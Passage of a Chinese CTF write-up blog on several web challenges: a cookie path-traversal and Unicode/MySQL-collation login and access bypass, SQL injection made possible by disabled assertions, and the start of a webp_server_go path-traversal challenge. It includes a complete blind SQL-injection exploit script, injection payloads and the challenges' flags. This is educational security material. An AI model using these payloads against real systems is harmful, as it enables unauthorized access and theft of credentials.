"</span>.join(args)}</span>'</span>],                <span class="hljs-built_in">input</span>=json,                text=<span class="hljs-literal">True</span>,                stderr=subprocess.STDOUT,            )            <span class="hljs-comment"># Require output to be valid JSON</span>            <span class="hljs-keyword">try</span>:                subprocess.check_output(                    [<span class="hljs-string">"jq"</span>, <span class="hljs-string">"."</span>], <span class="hljs-built_in">input</span>=formatted, text=<span class="hljs-literal">True</span>, stderr=subprocess.STDOUT                )            <span class="hljs-keyword">except</span> subprocess.CalledProcessError:                <span class="hljs-keyword">return</span> render_template(                    <span class="hljs-string">"index.html"</span>,                    error=<span class="hljs-string">"Oh, no! Formatted text isn't valid JSON! Are you a hacker?"</span>,                    args=args,                    json=json,                )        <span class="hljs-keyword">except</span> subprocess.CalledProcessError <span class="hljs-keyword">as</span> e:            <span class="hljs-keyword">try</span>:                error = e.output.splitlines()[<span class="hljs-number">0</span>].strip()                <span class="hljs-keyword">if</span> error.startswith(<span class="hljs-string">"jq: parse error:"</span>):                    error = <span class="hljs-string">f"P<span class="hljs-subst">{error[<span class="hljs-number">5</span>:]}</span>"</span>                <span class="hljs-keyword">else</span>:                    error = <span class="hljs-string">"Internal server error."</span>            <span class="hljs-keyword">except</span>:                error = <span class="hljs-string">"Internal server error."</span>            <span class="hljs-keyword">return</span> render_template(<span class="hljs-string">"index.html"</span>, error=error, args=args, json=json)        <span class="hljs-keyword">return</span> render_template(<span class="hljs-string">"index.html"</span>, args=args, json=formatted)    <span class="hljs-keyword">return</span> render_template(<span class="hljs-string">"index.html"</span>)</code></pre><h2 id="secrets"><a class="markdownIt-Anchor" href="#secrets"></a> Secrets</h2><p>My notes and secrets are stored in this secret vault. I’m sure no one can get them.</p><details><summary>答题情况</summary><p>SJTU-CTF 7 Solves / 684 pts</p><p><code>0ops{sTR1Ngs_WitH_tHE_s@mE_we1ghT_aRe_3QUAl_iN_my5q1}</code></p><p>GEEKCTF 43 Solves / 207 pts</p><p><code>flag{sTR1Ngs_WitH_tHE_s@mE_we1ghT_aRe_3QUAl_iN_my5q1}</code></p></details><hr><p>出题灵感来自于真实的攻击事件，考察文件包含、Python 字符大小写特性、MySQL 字符串比较特性。</p><p>打开网页只有一个登陆框，可以发现网页源代码中有一堆不知道是什么东西的奇怪注释，控制台也输出了一串神秘数字。这两处实际上是两个提示，并不是解出本题所必须的。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/04/24/upload_8ae6645994bf404e81f120c0ec13ccfd.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/04/24/upload_8ae6645994bf404e81f120c0ec13ccfd.png" srcset="/loading.gif" alt=""></p><p><img src="https://hans362-img.oss.0vv0.top/2024/04/24/upload_75324ccf8786ed03807792537e8f2cfa.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/04/24/upload_75324ccf8786ed03807792537e8f2cfa.png" srcset="/loading.gif" alt=""></p><p>控制台的神秘数字是八进制下的 ASCII 码，转换后得到字符串 <code>Don't you think the color picker is weird?</code>，提示我们去看页面右上角切换颜色的功能。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/04/24/upload_960c61966e9d028af0f69ff516ec347e.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/04/24/upload_960c61966e9d028af0f69ff516ec347e.png" srcset="/loading.gif" alt=""></p><details><summary>你知道吗</summary><p>对于这种奇奇怪怪的编码，可以使用 <a href="https://github.com/gchq/CyberChef">CyberChef</a> 的 Magic 功能进行自动检测。</p></details><p>切换几次颜色并抓包，可以发现切换颜色时会先请求 <code>/setCustomColor</code> 接口，响应中会 <code>Set-Cookie</code>。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/04/24/upload_0d91d41befe4abbe3615e0a15d48ebdd.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/04/24/upload_0d91d41befe4abbe3615e0a15d48ebdd.png" srcset="/loading.gif" alt=""></p><p>接着页面会从 <code>/redirectCustomAsset</code> 接口获取对应颜色的 CSS。不难发现这个接口会读取 Cookie 中的 <code>asset</code> 值，返回对应路径的 CSS 文件。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/04/24/upload_5a5ecc008107a7bfa5e2105a92507b2b.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/04/24/upload_5a5ecc008107a7bfa5e2105a92507b2b.png" srcset="/loading.gif" alt=""></p><p>页面源代码中的奇怪注释则是 Base85 编码后的目录结构。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/04/24/upload_54f14bae17cbb265543caf9db2f9fe60.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/04/24/upload_54f14bae17cbb265543caf9db2f9fe60.png" srcset="/loading.gif" alt=""></p><pre><code class="hljs plain">.├── app.py├── assets│   ├── css│   │   ├── pico.amber.min.css│   │   ├── pico.azure.min.css│   │   ├── pico.blue.min.css│   │   ├── pico.cyan.min.css│   │   ├── pico.fuchsia.min.css│   │   ├── pico.green.min.css│   │   ├── pico.grey.min.css│   │   ├── pico.indigo.min.css│   │   ├── pico.jade.min.css│   │   ├── pico.lime.min.css│   │   ├── pico.orange.min.css│   │   ├── pico.pink.min.css│   │   ├── pico.pumpkin.min.css│   │   ├── pico.purple.min.css│   │   ├── pico.red.min.css│   │   ├── pico.sand.min.css│   │   ├── pico.slate.min.css│   │   ├── pico.violet.min.css│   │   ├── pico.yellow.min.css│   │   └── pico.zinc.min.css│   └── js│       ├── color-picker.js│       ├── home.js│       ├── jquery-3.7.1.min.js│       └── login.js├── gunicorn_conf.py├── populate.py├── requirements.txt└── templates    ├── base.html    ├── index.html    └── login.html</code></pre><p>尝试修改 Cookie 中的 <code>asset</code> 把目录中的其他文件读出来，结果却返回 <code>Hacker!</code>，猜测可能是对路径开头做了检查。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/04/24/upload_86491aa9953b23cab2077a3252e0b27e.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/04/24/upload_86491aa9953b23cab2077a3252e0b27e.png" srcset="/loading.gif" alt=""></p><p>尝试用 <code>../</code> 绕过检查，发现读取成功，于是可以把整个网站的源码拖下来。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/04/24/upload_a85c76779c223756bfff5dab211b5fd0.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/04/24/upload_a85c76779c223756bfff5dab211b5fd0.png" srcset="/loading.gif" alt=""></p><p>网站的主要逻辑在 <code>app.py</code> 里，先看看登录部分的代码。</p><pre><code class="hljs python"><span class="hljs-meta">@app.route(<span class="hljs-params"><span class="hljs-string">"/login"</span>, methods=[<span class="hljs-string">"GET"</span>, <span class="hljs-string">"POST"</span>]</span>)</span><span class="hljs-keyword">def</span> <span class="hljs-title function_">login</span>():    <span class="hljs-keyword">if</span> session.get(<span class="hljs-string">"logged_in"</span>):        <span class="hljs-keyword">return</span> redirect(<span class="hljs-string">"/"</span>)    <span class="hljs-keyword">def</span> <span class="hljs-title function_">isEqual</span>(<span class="hljs-params">a, b</span>):        <span class="hljs-keyword">return</span> a.lower() != b.lower() <span class="hljs-keyword">and</span> a.upper() == b.upper()    <span class="hljs-keyword">if</span> request.method == <span class="hljs-string">"GET"</span>:        <span class="hljs-keyword">return</span> render_template(<span class="hljs-string">"login.html"</span>)    username = request.form.get(<span class="hljs-string">"username"</span>, <span class="hljs-string">""</span>)    password = request.form.get(<span class="hljs-string">"password"</span>, <span class="hljs-string">""</span>)    <span class="hljs-keyword">if</span> isEqual(username, <span class="hljs-string">"alice"</span>) <span class="hljs-keyword">and</span> isEqual(password, <span class="hljs-string">"start2024"</span>):        session[<span class="hljs-string">"logged_in"</span>] = <span class="hljs-literal">True</span>        session[<span class="hljs-string">"role"</span>] = <span class="hljs-string">"user"</span>        <span class="hljs-keyword">return</span> redirect(<span class="hljs-string">"/"</span>)    <span class="hljs-keyword">elif</span> username == <span class="hljs-string">"admin"</span> <span class="hljs-keyword">and</span> password == os.urandom(<span class="hljs-number">128</span>).<span class="hljs-built_in">hex</span>():        session[<span class="hljs-string">"logged_in"</span>] = <span class="hljs-literal">True</span>        session[<span class="hljs-string">"role"</span>] = <span class="hljs-string">"admin"</span>        <span class="hljs-keyword">return</span> redirect(<span class="hljs-string">"/"</span>)    <span class="hljs-keyword">else</span>:        <span class="hljs-keyword">return</span> render_template(<span class="hljs-string">"login.html"</span>, error=<span class="hljs-string">"Invalid username or password."</span>)</code></pre><p>显然以 <code>admin</code> 的身份登录是不可能的（不会有人能猜出 <code>os.urandom(128).hex()</code> 的结果吧），那么唯一的可能就是以 <code>alice</code> 的身份登录。但是 <code>alice</code> 用户名密码的判等逻辑有点奇怪，<code>isEqual()</code> 要求两个字符串小写不同，但是大写相同，乍一看这好像也不可能啊。不过反正 Unicode 字符<s>也不多</s>，统统枚举一遍看看吧，结果还真发现了 4 个。</p><pre><code class="hljs python"><span class="hljs-keyword">import</span> string<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">0</span>, <span class="hljs-number">0x10FFFF</span>):    c = <span class="hljs-built_in">chr</span>(i)    <span class="hljs-keyword">if</span> c.upper() <span class="hljs-keyword">in</span> string.ascii_uppercase <span class="hljs-keyword">and</span> c.lower() <span class="hljs-keyword">not</span> <span class="hljs-keyword">in</span> string.ascii_lowercase:        <span class="hljs-built_in">print</span>(c, c.upper())</code></pre><pre><code class="hljs plain">ı Iſ Sﬅ STﬆ ST</code></pre><p>于是用 <code>alıce</code> 作为用户名、<code>ſtart2024</code> 或 <code>ﬆart2024</code> 或 <code>ﬅart2024</code> 作为密码就可以通过这段验证，以 <code>alice</code> 的身份登录。但是由于我们现在并不是<code>admin</code>，只能看到 <code>notes</code>。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/04/24/upload_a51383fceaf1e1c150a2ffb245b23317.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/04/24/upload_a51383fceaf1e1c150a2ffb245b23317.png" srcset="/loading.gif" alt=""></p><p>接下来的目标是越权访问 <code>secrets</code>，那就看看访问控制是如何实现的吧。</p><pre><code class="hljs python"><span class="hljs-built_in">type</span> = request.args.get(<span class="hljs-string">"type"</span>, <span class="hljs-string">"notes"</span>).strip()<span class="hljs-keyword">if</span> (<span class="hljs-string">"secrets"</span> <span class="hljs-keyword">in</span> <span class="hljs-built_in">type</span>.lower() <span class="hljs-keyword">or</span> <span class="hljs-string">"SECRETS"</span> <span class="hljs-keyword">in</span> <span class="hljs-built_in">type</span>.upper()) <span class="hljs-keyword">and</span> session.get(    <span class="hljs-string">"role"</span>) != <span class="hljs-string">"admin"</span>:    <span class="hljs-keyword">return</span> render_template(        <span class="hljs-string">"index.html"</span>,        notes=[],        error=<span class="hljs-string">"You are not admin. Only admin can view secre&lt;u&gt;ts&lt;/u&gt;."</span>,    )</code></pre><p>这里的逻辑是，如果当前用户不是 <code>admin</code>，那么检查传入的 <code>type</code>，如果 <code>type</code> 小写后包含 <code>secrets</code> 或大写后包含 <code>SECRETS</code>，那么拒绝访问。乍一看似乎也没什么问题，但是这种黑名单的过滤机制值得我们怀疑一下是不是有办法绕过。</p><p>再仔细阅读一下代码，发现有两行看上去没啥用的断言，告诉我们数据库的 Character Set 是 <code>utf8mb4</code>，Collation 是 <code>utf8mb4_unicode_ci</code>。</p><pre><code class="hljs python"><span class="hljs-keyword">assert</span> character_set_database[<span class="hljs-number">0</span>] == <span class="hljs-string">"utf8mb4"</span><span class="hljs-keyword">assert</span> collation_database[<span class="hljs-number">0</span>] == <span class="hljs-string">"utf8mb4_unicode_ci"</span></code></pre><p>那么 Character Set 和 Collation 究竟是什么呢？查阅 MySQL 官方文档可以找到相应的解释。</p><blockquote><p>A character set is a set of symbols and encodings. A collation is a set of rules for comparing characters in a character set.</p></blockquote><p>我们注意到，Collation 决定了 Character Set 中的字符进行比较的规则。MySQL 中比较两个字符串是基于它们的 Weight，而 Weight 由 Collation 决定。我们只要使用 <code>utf8mb4_unicode_ci</code> Collation 中与 <code>secrets</code> 具有相同 Weight 的字符串即可。符合这样条件的字符串其实有很多，事实上 <code>secrets</code> 的 <code>ts</code> 被加上了下划线，已经暗示了一种解法，以下列举一部分解法供参考：</p><pre><code class="hljs plain">secreʦŚecretssecre%00tssecréts</code></pre><p>当然如果不知道这一点，也可以在本地起一个完全相同的环境，设置相同的 Character Set 和 Collation，用和之前一样的办法把 Unicode 字符都枚举一遍，也能找出可以绕过检查的字符串。</p><p>最后说说题目背后的真实事件。2023 年 12 月，OKX 交易所就曾因 Collation 设置不当遭受攻击。攻击者通过 <code>saʦ</code> 欺骗了数据库，成功冒充 <code>sats</code> 铭文代币出现在了搜索结果中，于是眼神不太好的用户就上当受骗了，被黑客狠狠割了韭菜。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/04/24/upload_59abe693ecb4e0459571adaffd70824e.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/04/24/upload_59abe693ecb4e0459571adaffd70824e.png" srcset="/loading.gif" alt=""></p><p>实际上这并不是数据库软件的错，而是在字符串比较时没有使用正确的 Collation，使用 <code>utf8mb4_unicode_bin</code> 则可以规避这一问题。</p><h2 id="safeblog2"><a class="markdownIt-Anchor" href="#safeblog2"></a> SafeBlog2</h2><p>Using WordPress is a bit too dangerous, so I’m developing my own blogging platform, SafeBlog2, to have full control over its security.</p><p><a href="https://hans362-img.oss.0vv0.top/2024/04/24/SafeBlog2-b31bd0e5fa8528c0d3484d5a27d467ec.zip">Attachment</a></p><p>P.S. It is recommended to test your exploit locally before creating an online instance.</p><details><summary>答题情况</summary><p>SJTU-CTF 1 Solves / 1000 pts</p><p><code>0ops{BL1nd_5ql_!NJeC71on_1S_PoS5ib13_W17h_0nLy_4_9ueRiE5}</code></p><p>GEEKCTF 8 Solves / 611 pts</p><p><code>flag{BL1nd_5ql_!NJeC71on_1S_PoS5ib13_W17h_0nLy_4_9ueRiE5}</code></p></details><hr><p>出题灵感来自于 MapleCTF 2023 <code>Data Explorer</code>，考察环境变量导致 <code>assert</code> 失效以及查询次数有限情况下的 SQL 注入。</p><p>直接审计压缩包中的源码，发现似乎并没有什么问题，<code>utils/db.js</code> 中实现的简易 ORM 采用了预编译绑定参数，对列名也使用 <code>assert</code> 做了检查，好像无懈可击？</p><p>仔细观察会发现，这里的 <code>assert</code> 用的是 <a href="https://www.npmjs.com/package/assert-plus"><code>assert-plus</code></a>，查询文档得知这个库提供了通过设置环境变量使所有 <code>assert</code> 失效的能力。</p><blockquote><p>Lastly, you can opt-out of assertion checking altogether by setting the environment variable <code>NODE_NDEBUG=1</code></p></blockquote><p>查看压缩包中的 <code>compose.yml</code>，发现确实设置了 <code>NODE_NDEBUG=1</code>，所以可以直接无视代码中的所有 <code>assert</code>，也就是列名检查失效了。</p><details><summary>你知道吗</summary><p>在 Python 中也存在类似的能力，而且无需引入第三方库，通过设置 <code>PYTHONOPTIMIZE=1</code> 环境变量即可使代码中的所有 <code>assert</code> 失效。</p></details><p>此时再去寻找代码中直接接受用户输入作为列名的地方，发现评论点赞接口存在问题：</p><pre><code class="hljs javascript">app.<span class="hljs-title function_">get</span>(<span class="hljs-string">'/comment/like'</span>, <span class="hljs-keyword">async</span> (req, res) =&gt; {  <span class="hljs-keyword">try</span> {    <span class="hljs-keyword">const</span> comments = <span class="hljs-keyword">await</span> <span class="hljs-title function_">runQuery</span>(<span class="hljs-string">'comments'</span>, req.<span class="hljs-property">query</span>);    comments.<span class="hljs-title function_">forEach</span>(<span class="hljs-function">(<span class="hljs-params">comment</span>) =&gt;</span> {      db.<span class="hljs-title function_">run</span>(<span class="hljs-string">'UPDATE comments SET likes = likes + 1 WHERE id = ?'</span>, comment.<span class="hljs-property">id</span>);    });    res.<span class="hljs-title function_">redirect</span>(req.<span class="hljs-property">headers</span>.<span class="hljs-property">referer</span> ?? <span class="hljs-string">'/'</span>);  } <span class="hljs-keyword">catch</span> {    res.<span class="hljs-title function_">status</span>(<span class="hljs-number">500</span>).<span class="hljs-title function_">render</span>(<span class="hljs-string">'error'</span>, { <span class="hljs-attr">message</span>: <span class="hljs-string">'Internal Server Error'</span> });  }});</code></pre><p><code>req.query</code> 是用户传入的全部 <code>GET</code> 参数，直接作为 <code>filter</code> 参数传递给了 <code>runQuery()</code>，而 <code>runQuery()</code> 调用的 <code>filterBuilder()</code> 中的列名检查失效了，因此会把 <code>req.query</code> 的所有键当作列名拼接进 SQL 语句中，值则采用预编译绑定参数，那么通过控制键名就可以任意操纵 SQL 语句，理论上就可以进行注入了。</p><pre><code class="hljs javascript"><span class="hljs-keyword">function</span> <span class="hljs-title function_">filterBuilder</span>(<span class="hljs-params">model, filter</span>) {  <span class="hljs-keyword">return</span> {    <span class="hljs-attr">where</span>:      <span class="hljs-string">'WHERE '</span> +      <span class="hljs-title class_">Object</span>.<span class="hljs-title function_">keys</span>(filter)        .<span class="hljs-title function_">map</span>(<span class="hljs-function">(<span class="hljs-params">key, index</span>) =&gt;</span> {          <span class="hljs-comment">/* Assertion ignored since NODE_NDEBUG=1 */</span>          <span class="hljs-comment">// assert(models[model].includes(key), `Invalid field ${key} for model ${model}`);</span>          <span class="hljs-keyword">return</span> <span class="hljs-string">`<span class="hljs-subst">${key}</span> = ?`</span>;        })        .<span class="hljs-title function_">join</span>(<span class="hljs-string">' AND '</span>),    <span class="hljs-attr">params</span>: <span class="hljs-title class_">Object</span>.<span class="hljs-title function_">values</span>(filter),  };}<span class="hljs-keyword">async</span> <span class="hljs-keyword">function</span> <span class="hljs-title function_">runQuery</span>(<span class="hljs-params">model, filter, sort</span>) {  queries++;  <span class="hljs-keyword">const</span> { where, params } = filter ? <span class="hljs-title function_">filterBuilder</span>(model, filter) : { <span class="hljs-attr">where</span>: <span class="hljs-string">''</span>, <span class="hljs-attr">params</span>: [] };  <span class="hljs-keyword">const</span> order_by = sort ? <span class="hljs-string">`ORDER BY <span class="hljs-subst">${sortBuilder(model, sort)}</span>`</span> : <span class="hljs-string">''</span>;  <span class="hljs-keyword">return</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">Promise</span>(<span class="hljs-function">(<span class="hljs-params">resolve, reject</span>) =&gt;</span> {    db.<span class="hljs-title function_">all</span>(<span class="hljs-string">`SELECT * FROM <span class="hljs-subst">${model}</span> <span class="hljs-subst">${where}</span> <span class="hljs-subst">${order_by}</span>`</span>, params, <span class="hljs-function">(<span class="hljs-params">err, rows</span>) =&gt;</span> {      <span class="hljs-keyword">if</span> (err) {        <span class="hljs-title function_">reject</span>(err);      } <span class="hljs-keyword">else</span> {        <span class="hljs-title function_">resolve</span>(rows);        <span class="hljs-keyword">if</span> (queries &gt;= <span class="hljs-number">4</span>) {          db.<span class="hljs-title function_">run</span>(<span class="hljs-string">`UPDATE admins SET password = "<span class="hljs-subst">${passwordGenerator(<span class="hljs-number">16</span>)}</span>" WHERE id = 1`</span>);          queries = <span class="hljs-number">0</span>;        }      }    });  });}</code></pre><p>然而阅读 <code>runQuery()</code> 的代码会发现，每 4 次使用 <code>runQuery()</code> 进行查询， <code>admin</code> 的密码就会被重置，所以显然不能直接注入获取密码，这该怎么办？</p><h3 id="预期解"><a class="markdownIt-Anchor" href="#预期解"></a> 预期解</h3><p>稍加思考不难发现，点赞接口会对结果集里面的每一条评论点赞，同时我们可以无限制地创建评论（创建评论不使用 <code>runQuery()</code>，不会触发密码重置），那么通过巧妙地构造 SQL 语句，我们就可以仅用 3 次查询，利用评论的点赞数间接泄漏出 <code>admin</code> 的密码，最后 1 次查询用于登录 <code>admin</code> 的账号获取 Flag。</p><p>具体构造 SQL 语句的方式有很多，看了大家的 Writeup 也确实各不相同，不过都大同小异，基本思想是一致的。以下是出题人笨拙的做法，供参考。</p><p>考虑到 <code>admin</code> 密码字符串长度为 32，每一位字符有 <code>0</code> - <code>F</code> 共 16 种可能，因此可以将每一位字符的每一种可能一对一地映射到 512 条评论上。选出每一位的字符对应的评论进行点赞，根据被点赞的评论 <code>id</code> 即可还原出密码，然后登录拿到 Flag。</p><pre><code class="hljs python"><span class="hljs-keyword">import</span> re<span class="hljs-keyword">import</span> requests<span class="hljs-keyword">import</span> bs4url = <span class="hljs-string">"http://&lt;instance_url&gt;/"</span><span class="hljs-keyword">def</span> <span class="hljs-title function_">create_comments</span>():    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">512</span>):        <span class="hljs-built_in">print</span>(i)        <span class="hljs-comment"># ID starts from 51</span>        r = requests.get(            url + <span class="hljs-string">"comment/new"</span>,            params={<span class="hljs-string">"name"</span>: <span class="hljs-built_in">str</span>(<span class="hljs-number">51</span> + i), <span class="hljs-string">"content"</span>: <span class="hljs-built_in">str</span>(<span class="hljs-number">51</span> + i), <span class="hljs-string">"post_id"</span>: <span class="hljs-number">10</span>},        )        <span class="hljs-keyword">assert</span> r.status_code == <span class="hljs-number">200</span><span class="hljs-keyword">def</span> <span class="hljs-title function_">generate_payload</span>():    query = <span class="hljs-string">"{} AND '5'"</span>    char = <span class="hljs-string">"id = IIF(unicode((select substr(password,{},1) from admins)) &lt;= 57, unicode((select substr(password,{},1) from admins)) - 47, unicode((select substr(password,{},1) from admins)) - 86) + 50 + 16 * {}"</span>    payload = {        query.<span class="hljs-built_in">format</span>(            <span class="hljs-string">" OR "</span>.join([char.<span class="hljs-built_in">format</span>(i + <span class="hljs-number">1</span>, i + <span class="hljs-number">1</span>, i + <span class="hljs-number">1</span>, i) <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">32</span>)])        ): <span class="hljs-number">5</span>    }    <span class="hljs-built_in">print</span>(payload)    <span class="hljs-keyword">return</span> payload<span class="hljs-keyword">def</span> <span class="hljs-title function_">send_payload</span>():    r = requests.get(        url + <span class="hljs-string">"comment/like"</span>, params=generate_payload(), allow_redirects=<span class="hljs-literal">False</span>    )    <span class="hljs-comment"># Disallow redirect to avoid triggering another SQL query</span>    <span class="hljs-keyword">assert</span> r.status_code == <span class="hljs-number">302</span><span class="hljs-keyword">def</span> <span class="hljs-title function_">get_result</span>():    hex_letters = <span class="hljs-string">"0123456789abcdef"</span>    r = requests.get(url + <span class="hljs-string">"post/10"</span>)    soup = bs4.BeautifulSoup(r.text, <span class="hljs-string">"html.parser"</span>)    article = soup.find_all(<span class="hljs-string">"article"</span>)[<span class="hljs-number">1</span>]    lis = article.find_all(<span class="hljs-string">"li"</span>)    res = <span class="hljs-string">""</span>    <span class="hljs-keyword">for</span> i, li <span class="hljs-keyword">in</span> <span class="hljs-built_in">enumerate</span>(lis[:<span class="hljs-number">32</span>]):        <span class="hljs-built_in">id</span> = <span class="hljs-built_in">int</span>(re.search(<span class="hljs-string">r"(\d+)"</span>, li.text).group(<span class="hljs-number">1</span>))        res += hex_letters[<span class="hljs-built_in">id</span> - <span class="hljs-number">50</span> - i * <span class="hljs-number">16</span> - <span class="hljs-number">1</span>]    <span class="hljs-keyword">return</span> res<span class="hljs-keyword">def</span> <span class="hljs-title function_">get_flag</span>():    password = get_result()    <span class="hljs-built_in">print</span>(<span class="hljs-string">"[+] Admin password: "</span> + password)    r = requests.get(url + <span class="hljs-string">"admin"</span>, params={<span class="hljs-string">"username"</span>: <span class="hljs-string">"admin"</span>, <span class="hljs-string">"password"</span>: password})    flag = bs4.BeautifulSoup(r.text, <span class="hljs-string">"html.parser"</span>).find(<span class="hljs-string">"code"</span>).text    <span class="hljs-built_in">print</span>(<span class="hljs-string">"[+] Flag: "</span> + flag)create_comments()<span class="hljs-built_in">print</span>(<span class="hljs-string">"[+] Comments created."</span>)send_payload()<span class="hljs-built_in">print</span>(<span class="hljs-string">"[+] Payload sent."</span>)get_flag()</code></pre><h3 id="非预期解"><a class="markdownIt-Anchor" href="#非预期解"></a> 非预期解</h3><p>出题人粗心大意，重置密码的代码竟然写错位置了，于是被 4 位选手狠狠非预期了。</p><pre><code class="hljs javascript"><span class="hljs-keyword">if</span> (err) {  <span class="hljs-title function_">reject</span>(err);} <span class="hljs-keyword">else</span> {  <span class="hljs-title function_">resolve</span>(rows);  <span class="hljs-keyword">if</span> (queries &gt;= <span class="hljs-number">4</span>) {    db.<span class="hljs-title function_">run</span>(<span class="hljs-string">`UPDATE admins SET password = "<span class="hljs-subst">${passwordGenerator(<span class="hljs-number">16</span>)}</span>" WHERE id = 1`</span>);    queries = <span class="hljs-number">0</span>;  }}</code></pre><p>不难发现只有在查询成功的情况下，计数器才会累加，所以如果构造的 SQL 语句能够触发查询错误，同时能够通过延时来泄漏信息，那么就可以完全无视次数限制，当作普通的延时盲注来做。</p><p>具体而言，可以通过 <code>RANDOMBLOB()</code> 实现延时（因为 <code>sqlite</code> 没有 <code>SLEEP()</code>），通过 <code>load_extension(1)</code> 触发查询错误，只要延时先于触发查询错误即可，以下是选手 <code>__No0♭__</code> 的解法，供参考。</p><pre><code class="hljs python"><span class="hljs-keyword">def</span> <span class="hljs-title function_">check</span>(<span class="hljs-params">curr, mid</span>):    burp0_url = <span class="hljs-string">f"<span class="hljs-subst">{HOST}</span>/comment/like"</span>    burp0_headers = {<span class="hljs-string">"Connection"</span>: <span class="hljs-string">"close"</span>}    response = requests.get(burp0_url, params={<span class="hljs-string">f"'1' = ? OR CASE WHEN (SELECT unicode(substr(password,<span class="hljs-subst">{curr}</span>,1)) FROM admins WHERE id = 1)&lt;=<span class="hljs-subst">{mid}</span> THEN (1=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(250000000/2)))) OR load_extension(1/0)) ELSE load_extension(1/0) END;--"</span>:<span class="hljs-string">"zz"</span>}, headers=burp0_headers, allow_redirects=<span class="hljs-literal">False</span>, proxies=PROXY)    <span class="hljs-keyword">return</span> response.elapsed.total_seconds() &gt; <span class="hljs-number">0.5</span></code></pre><p>不过感觉难度上非预期解和预期解好像也差不了多少（？），所以无所谓啦。</p><h2 id="picbed"><a class="markdownIt-Anchor" href="#picbed"></a> PicBed</h2><p>PicBed is an elegant image hosting service which uses webp_server_go to serve your JPG/PNG/BMP/SVGs as WebP/AVIF format with compression, on-the-fly.</p><p><a href="https://hans362-img.oss.0vv0.top/2024/04/24/PicBed-473bf2eca2078e5cfcb110d1f499c40c.zip">Attachment</a></p><p>P.S. It is recommended to test your exploit locally before creating an online instance.</p><details><summary>答题情况</summary><p>SJTU-CTF 1 Solves / 1000 pts</p><p><code>0ops{cVE_2021_46104_No7_FULlY_p@TcH3d}</code></p><p>GEEKCTF 7 Solves / 647 pts</p><p><code>flag{cVE_2021_46104_No7_FULlY_p@TcH3d}</code></p></details><hr><p>想稍微拉高一下难度，所以拿了个开源项目的很鸡肋的漏洞出了这道题，考察 HTTP 请求走私和 Go 语言代码审计。</p><p>观察压缩包中的源码，发现前端是用 Flask 写的，负责页面展示、图片上传，后端使用了开源项目 <a href="https://github.com/webp-sh/webp_server_go"><code>webp_server_go</code></a>，负责根据用户传入的 <code>Accept</code> 请求头返回原图或 WebP 格式的图片。我们的目标是拿到容器根目录下的 <code>flag.png</code>。</p><p><a href="https://github.com/webp-sh/webp_server_go"><code>webp_server_go</code></a> 默认加载的是 <code>/opt/pics</code> 中的图片。显然，我们需要挖掘 <a href="https://github.com/webp-sh/webp_server_go"><code>webp_server_go</code></a> 项目中类似于目录穿越的漏洞并加以利用。通过搜索 <code>webp_server_go path traversal</code> 关键词，不难发现该项目曾经有一个 CVE-2021-46104，但是在这道题使用的 0.11.1 版本中已经修复了，似乎没什么用。</p><p>不过我们不妨看看 CVE-2021-46104 是怎么修的吧。通过翻阅项目的 Issues 以及 PRs，发现涉及该漏洞修复的 PR 是 <a href="https://github.com/webp-sh/webp_server_go/pull/93">#93</a> 和 <a href="https://github.com/webp-sh/webp_server_go/pull/103">#103</a>。进一步阅读这两个 PR 中的代码改动，会发现最核心的就是下面这几行代码。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/04/24/upload_5d539cdcead23f4efa490c411b2eeba9.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/04/24/upload_5d539cdcead23f4efa490c411b2eeba9.png" srcset="/loading.gif" alt=""></p><p>从代码中看，开发者试图通过 <code>path.Clean()</code> 消除 <code>reqURI</code> 中的 <code>../</code>，从而避免目录穿越。通过查阅<a href="https://pkg.go.dev/path#Clean">官方文档</a>可知，<code>path.Clean()</code> 函数通过纯词法处理返回与参数等效的最短路径名。这样乍一看好像没什么问题，即使 <code>reqURI</code> 中有再多的 <code>../</code>，消除到最后似乎也仅仅只能回退到 <code>/</code>，再与 <code>config.ImgPath</code> 拼接，肯定无法穿越出 <code>config.ImgPath</code>。</p><p>但如果 <code>reqURI</code> 直接以 <code>../</code> 开头呢？经过尝试不难发现，在这种情况下 <code>../</code> 会被直接保留，再与 <code>config.ImgPath</code> 拼接，就能够实现目录穿越。</p><p><img src="https://hans362-img.oss.0vv0.top/2024/04/24/upload_3261f0da44e2723572be1bb8e8f58cd4.png" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2024/04/24/upload_3261f0da44e2723572be1bb8e8f58cd4.png" srcset="/loading.gif" alt=""></p><p>那么 <code>reqURI</code> 有没有可能直接以 <code>../</code> 开头呢？<a href="https://github.com/webp-sh/webp_server_go"><code>webp_server_go</code></a> 使用的框架是 <a href="https://github.com/gofiber/fiber"><code>fiber</code></a>，而 <a href="https://github.com/gofiber/fiber"><code>fiber</code></a> 是基于 <a href="https://github.com/valyala/fasthttp"><code>fasthttp</code></a> 的。<a href="https://github.com/valyala/fasthttp"><code>fasthttp</code></a> 在面对 URI 不以 <code>/</code> 开头的畸形 HTTP 请求时，并不会报错，而是依旧将其作为合法的 URI 处理。这也就意味着 